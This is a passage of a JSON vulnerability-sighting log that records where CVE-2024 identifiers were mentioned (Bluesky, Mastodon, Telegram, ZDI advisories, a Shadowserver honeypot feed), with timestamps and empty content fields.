"CVE-2024-12284", "type": "seen", "source": "https://bsky.app/profile/calebpr.bsky.social/post/3llp7u4xgkf2w", "content": "", "creation_timestamp": "2025-03-31T20:42:09.465921Z"}, {"uuid": "59360161-16b0-4a32-bea6-0b25713227a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgsjg5lhke2e", "content": "", "creation_timestamp": "2025-01-28T13:05:22.421830Z"}, {"uuid": "7271726d-b951-43ef-8e30-b91993d6ffb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12822", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lh27nsbtri23", "content": "", "creation_timestamp": "2025-01-31T14:31:56.124955Z"}, {"uuid": "d17cacc6-1e50-4c99-9585-c2e5713f717c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/brutsecurity/1306", "content": "", "creation_timestamp": "2026-07-09T03:00:10.239164Z"}, {"uuid": "4c38a7cf-823b-48d9-9bb4-3a0e292c56bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-077/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "2e16623a-84c7-42ae-9554-3838b3fe3b2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-080/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "e98aac8f-2e99-4e30-b7ef-0adeeffafcfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-079/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "ce118e9f-c7d6-4602-b8eb-db1b619fe845", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12740", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-25-078/", "content": "", "creation_timestamp": "2025-02-03T05:00:00.000000Z"}, {"uuid": "99d6bd8d-32e4-4a0b-abd3-9784cc002ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/bot.reality.eth.link/post/3lfiz6uwdm756", "content": "", "creation_timestamp": "2025-01-30T10:16:44.705351Z"}, {"uuid": "d304a6cd-5ef3-4ee9-b9e7-30c932f81924", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12078", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggf3524lv27", "content": "", "creation_timestamp": "2025-01-23T17:15:37.232854Z"}, {"uuid": "f0135555-9863-45a8-855d-5b904f8526ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/bolhasec.com/post/3lgynbci2pl2a", "content": "", "creation_timestamp": "2025-01-30T23:30:10.167822Z"}, {"uuid": "0b818521-a24d-420e-9c3e-ff7f82c3d2c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12079", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lggf37ubxe2t", "content": "", "creation_timestamp": "2025-01-23T17:15:40.243306Z"}, {"uuid": "d1ecebed-4d66-4b84-8637-ac9058413669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/rxerium.com/post/3lgsl5vwztl2h", "content": "", "creation_timestamp": "2025-01-28T13:36:30.589139Z"}, {"uuid": "ad8e2f88-2b50-486b-9eca-0398cbff6df7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917016488019763", "content": "", "creation_timestamp": "2025-01-30T11:15:25.788427Z"}, {"uuid": "6e47e061-87e8-4e1d-8372-a667a1d49b1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917016503164733", "content": "", "creation_timestamp": "2025-01-30T11:15:26.991609Z"}, {"uuid": "19c846e2-2bfe-4f80-8294-8072ebba4341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lgvivgj2r52m", "content": "", "creation_timestamp": "2025-01-29T17:33:56.939504Z"}, {"uuid": "38f432de-2d96-4f8a-9f50-d899ee8a6f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxea5diyt2b", "content": "", "creation_timestamp": "2025-01-30T11:15:47.326031Z"}, {"uuid": "45acf0fd-6dd3-4af8-8687-bc433da7dacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://t.me/brutsecurity/1452", "content": "", "creation_timestamp": "2026-07-09T03:00:09.983414Z"}, {"uuid": "0f8798bd-1716-4048-9631-e2d3e5e3f683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/tuxcare.bsky.social/post/3lh2gt35cg223", "content": "", "creation_timestamp": "2025-01-31T16:40:10.371832Z"}, {"uuid": "0d25147d-5fe3-4a3b-9716-f5c01cca668b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxea7og3o2c", "content": "", "creation_timestamp": "2025-01-30T11:15:50.108938Z"}, {"uuid": "23669c69-bbc0-40b4-bcbd-6eef234a0c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lhjpkkwq7n2a", "content": "", "creation_timestamp": "2025-02-06T18:26:23.628424Z"}, {"uuid": "ee1624fe-cf37-40a9-9482-674ad4502025", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113919969169827912", "content": "", "creation_timestamp": "2025-01-30T23:46:20.072818Z"}, {"uuid": "78f6f161-f9ea-43bd-9681-38e807379079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12078", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggggugueo2k", "content": "", "creation_timestamp": "2025-01-23T17:40:04.636543Z"}, {"uuid": "f8dd8eef-eedd-4420-81e7-6a514d592ed1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxepzy35g2i", "content": "", "creation_timestamp": "2025-01-30T11:24:40.739711Z"}, {"uuid": "d8db2e04-7d63-4255-8472-88918ea05b08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12079", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lggggur5of2q", "content": "", "creation_timestamp": "2025-01-23T17:40:05.496711Z"}, {"uuid": "ab160943-58a5-40ed-9e56-4ab8daeb863e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2da5h2q", "content": "", "creation_timestamp": "2025-01-30T11:24:41.487013Z"}, {"uuid": "7f1fc7ea-59b9-40e3-98fd-4509ff395862", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12163", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq32bj32e", "content": "", "creation_timestamp": "2025-01-30T11:24:44.920710Z"}, {"uuid": "1e9c5b4c-e982-4afa-a2e5-289649f05ccc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2hea72w", "content": "", "creation_timestamp": "2025-01-30T11:24:42.057121Z"}, {"uuid": "cdd76f88-3b93-495e-9f04-fd6972d0074c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2kisv2k", "content": "", "creation_timestamp": "2025-01-30T11:24:42.619604Z"}, {"uuid": "57602d97-38f1-44e1-8fd5-259d80c77d89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12709", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgxeq2v5vi2h", "content": "", "creation_timestamp": "2025-01-30T11:24:44.339598Z"}, {"uuid": "2fbc3cee-89ee-41f8-ab8e-44b3116a3f7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1211", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgypuw6doj2c", "content": "", "creation_timestamp": "2025-01-31T00:16:55.260771Z"}, {"uuid": "cfc39021-97c5-4b8a-a308-191b6059a652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113924460735809189", "content": "", "creation_timestamp": "2025-01-31T18:48:39.125996Z"}, {"uuid": "6970ca4f-6df1-405a-a42d-cc60797d9888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://t.me/brutsecurity/1538", "content": "", "creation_timestamp": "2026-07-09T03:00:09.690421Z"}, {"uuid": "fb0f72b3-af76-4b77-813a-8fde5ca26c8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798705820695", "content": "", "creation_timestamp": "2025-01-27T06:02:24.475913Z"}, {"uuid": "8357b3d8-e4ff-4b07-b1e8-b247f57106fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798720190607", "content": "", "creation_timestamp": "2025-01-27T06:02:24.772553Z"}, {"uuid": "aa900790-be30-4d07-876f-434875b40d43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgsoanhcd22k", "content": "", "creation_timestamp": "2025-01-28T14:31:46.388833Z"}, {"uuid": "875339b4-c485-40ef-8206-f2805801541b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgsoanu6gk2k", "content": "", "creation_timestamp": "2025-01-28T14:31:47.111996Z"}, {"uuid": "e80467ee-0f4a-4106-a50c-66d85e9e1160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/vulnalerts.bsky.social/post/3lgsoao7vnh2q", "content": "", "creation_timestamp": "2025-01-28T14:31:47.824342Z"}, {"uuid": "4dc17d9d-6a97-4bfe-9b71-b42e3042aaaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113894370018911502", "content": "", "creation_timestamp": "2025-01-26T11:16:08.332457Z"}, {"uuid": "b87acce2-5842-4a34-85d7-1805d076908d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798754392142", "content": "", "creation_timestamp": "2025-01-27T06:02:25.265963Z"}, {"uuid": "e256ef4d-e40b-4be3-b2d3-8966308be933", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898798690089537", "content": "", "creation_timestamp": "2025-01-27T06:02:25.343871Z"}, {"uuid": "ec3a4920-5353-4889-934c-353135c5ead9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815656486803", "content": "", "creation_timestamp": "2025-01-27T06:06:44.425527Z"}, {"uuid": "371c741b-45d9-4512-9694-af0189ad41b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113910137251619473", "content": "", "creation_timestamp": "2025-01-29T06:05:56.898633Z"}, {"uuid": "3b3e0ea1-230a-4090-b8bc-14cbe9f32339", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815672458082", "content": "", "creation_timestamp": "2025-01-27T06:06:44.994468Z"}, {"uuid": "b6d7941f-7593-4388-9350-1ac1df06fb5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815721237909", "content": "", "creation_timestamp": "2025-01-27T06:06:45.066273Z"}, {"uuid": "7d132ac6-b4e1-477f-93b2-b9bc6d1fe6b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgucypflqa2b", "content": "", "creation_timestamp": "2025-01-29T06:15:45.495559Z"}, {"uuid": "43cb2a5c-69ff-424c-bbe7-64bdb844e159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgnfpysgc72f", "content": "", "creation_timestamp": "2025-01-26T12:15:55.780223Z"}, {"uuid": "e7142345-b4ff-4eb3-ab26-ba9aefb318e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12436", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113898815688137258", "content": "", "creation_timestamp": "2025-01-27T06:06:45.907971Z"}, {"uuid": "bc3eddc6-6f5e-4d86-8d13-b6be96b3c6b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/tmjintel.bsky.social/post/3lh2qnldlzw24", "content": "", "creation_timestamp": "2025-01-31T19:36:03.120260Z"}, {"uuid": "5c522419-eb26-4609-ae9c-8fbdf5cd905d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903251527116478", "content": "", "creation_timestamp": "2025-01-28T00:54:49.208241Z"}, {"uuid": "a6e0206d-5ccd-4681-8b7e-e9ac49c6d82f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgugczmxl32k", "content": "", "creation_timestamp": "2025-01-29T07:15:12.131303Z"}, {"uuid": "234ddabe-85d3-461b-bfd2-46e4124199e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lgvqzltfak2o", "content": "", "creation_timestamp": "2025-01-29T19:59:31.484923Z"}, {"uuid": "3e715379-8468-4675-9c57-8b7708af68d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12705", "type": "seen", "source": "https://bsky.app/profile/omo.bsky.social/post/3lgvr6otxvs2o", "content": "", "creation_timestamp": "2025-01-29T20:02:19.313590Z"}, {"uuid": "cdad9616-1c0c-4032-a4b1-8764a00390a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903251559525668", "content": "", "creation_timestamp": "2025-01-28T00:54:50.170274Z"}, {"uuid": "4d66eec4-35e6-4fb0-b563-5e29658ecef6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://bsky.app/profile/mitsuhiko.at/post/3lgvrgcpcws24", "content": "", "creation_timestamp": "2025-01-29T20:06:38.137325Z"}, {"uuid": "221d6437-fca8-4c49-b794-4f27168abb1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12334", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lgno3r4mqo2e", "content": "", "creation_timestamp": "2025-01-26T14:45:40.321055Z"}, {"uuid": "ad973c7c-fd24-4c4a-af73-a749f52a309f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113903251543751834", "content": "", "creation_timestamp": "2025-01-28T00:54:50.264702Z"}, {"uuid": "e2629bf4-cf96-48a8-96f3-bb1a361d438e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12254", "type": "seen", "source": "https://bsky.app/profile/mitsuhiko.at/post/3lgvrgdrdsk24", "content": "", "creation_timestamp": "2025-01-29T20:06:38.617316Z"}, {"uuid": "d2ec45a5-c98b-4536-a290-1ec706f0eac3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lggl6342kr2x", "content": "", "creation_timestamp": "2025-01-23T19:04:38.552882Z"}, {"uuid": "d9e5ea0a-d8f8-4d44-9920-f59760fe6d6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12747", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3lggl6342kr2x", "content": "", "creation_timestamp": "2025-01-23T19:04:38.601823Z"}, {"uuid": "bad1fab8-0ac1-4f15-bb5d-65f965976602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-03-30)", "content": "", "creation_timestamp": "2025-03-30T00:00:00.000000Z"}, {"uuid": "2d0d063d-2676-4bac-b858-d41259ae925b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lh2xd7id7u25", "content": "", "creation_timestamp": "2025-01-31T21:35:33.703928Z"}, {"uuid": "2179e0b6-c7c1-4de8-a139-53e882d604e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrbrjo3p42b", "content": "", "creation_timestamp": "2025-01-28T01:15:50.863500Z"}, {"uuid": "b3d47f86-cc0e-4a69-bba2-9f84b2d5dba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12102", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671340731294", "content": "", "creation_timestamp": "2025-01-30T14:01:57.995792Z"}, {"uuid": "adecee58-981d-46fb-afcc-0db7988c60cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12177", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671388922378", "content": "", "creation_timestamp": "2025-01-30T14:01:58.789579Z"}, {"uuid": "c5c19c63-3ca6-4261-a6df-e72df601bacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/yokoi.bsky.social/post/3lh2zfugt3s23", "content": "", "creation_timestamp": "2025-01-31T22:12:52.555503Z"}, {"uuid": "be9a8ed1-b1eb-422a-83c7-46a6a59f0cb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrbrmy7du2f", "content": "", "creation_timestamp": "2025-01-28T01:15:54.341848Z"}, {"uuid": "d1510fe0-078e-4941-a2fa-e8eb69786f7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12129", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671374380676", "content": "", "creation_timestamp": "2025-01-30T14:01:58.379293Z"}, {"uuid": "069f1944-0832-42e0-aa59-bfc243234e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12269", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113917671403718538", "content": "", "creation_timestamp": "2025-01-30T14:01:58.901623Z"}, {"uuid": "cc39991b-957f-4452-a8ed-f6b49f431856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgrbrq5bag2i", "content": "", "creation_timestamp": "2025-01-28T01:15:57.750346Z"}, {"uuid": "23897171-3919-401c-a68c-23eb1a976823", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12177", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxoddyphn27", "content": "", "creation_timestamp": "2025-01-30T14:16:32.252265Z"}, {"uuid": "c8af38a7-bf22-4e54-bd6f-6621c36cd7f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12269", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodg4naa2c", "content": "", "creation_timestamp": "2025-01-30T14:16:34.552432Z"}, {"uuid": "4916e592-079d-4420-98d3-43dc47728f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12102", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxod732mn2j", "content": "", "creation_timestamp": "2025-01-30T14:16:27.297240Z"}, {"uuid": "fc0f80f2-7dd5-4152-9563-8b8ad95b8d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12597", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lhdj5zwgmu27", "content": "", "creation_timestamp": "2025-02-04T07:16:02.983716Z"}, {"uuid": "b3608bc1-ecf2-4b3b-8037-7572b018e8d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12129", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lgxodbpgli2t", "content": "", "creation_timestamp": "2025-01-30T14:16:29.856089Z"}, {"uuid": "9ee150b8-0735-4549-87d8-fa003acb6e9c", 